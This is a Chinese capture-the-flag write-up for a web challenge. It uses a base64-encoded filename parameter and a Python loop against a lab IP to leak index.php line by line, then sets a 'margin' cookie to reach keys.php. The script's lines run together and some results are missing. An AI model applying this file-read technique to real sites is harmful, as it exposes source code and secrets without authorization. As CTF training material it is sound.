进来以后看到一个巨长的字符串, 源码同样,发现url后面是base64编码解码得keys.txt
还有一个line参数，修改并没有发生任何变化。我想不到要改keys.txt成index.php（base64加密格式：aW5kZXgucGhw==）
line=1时：
line=2时：
用脚本跑
import requestsa=25 #表示index.php文件的代码行数
for i in range(a):url="http://114.67.175.224:11931/index.php?line="+str(i)+"&filename=aW5kZXgucGhw=="s=requests.get(url)print(s.text)得到
<? php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array('0' => 'keys.txt','1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {$fa = file($file);echo $fa[$line];
} ?>
部分解释：
定义了一个文件列表数组$file_list，包含了两个默认的文件keys.txt和index.php。如果COOKIE中存在名为’margin’的值，并且该值为’margin’，则将一个名为’keys.php’的文件添加到文件列表中。也就是cookie值为margin时显示keys.php内容。
这里就是让将cookies添加字段margin=margin
并且访问keys.php
进行尝试
 ?)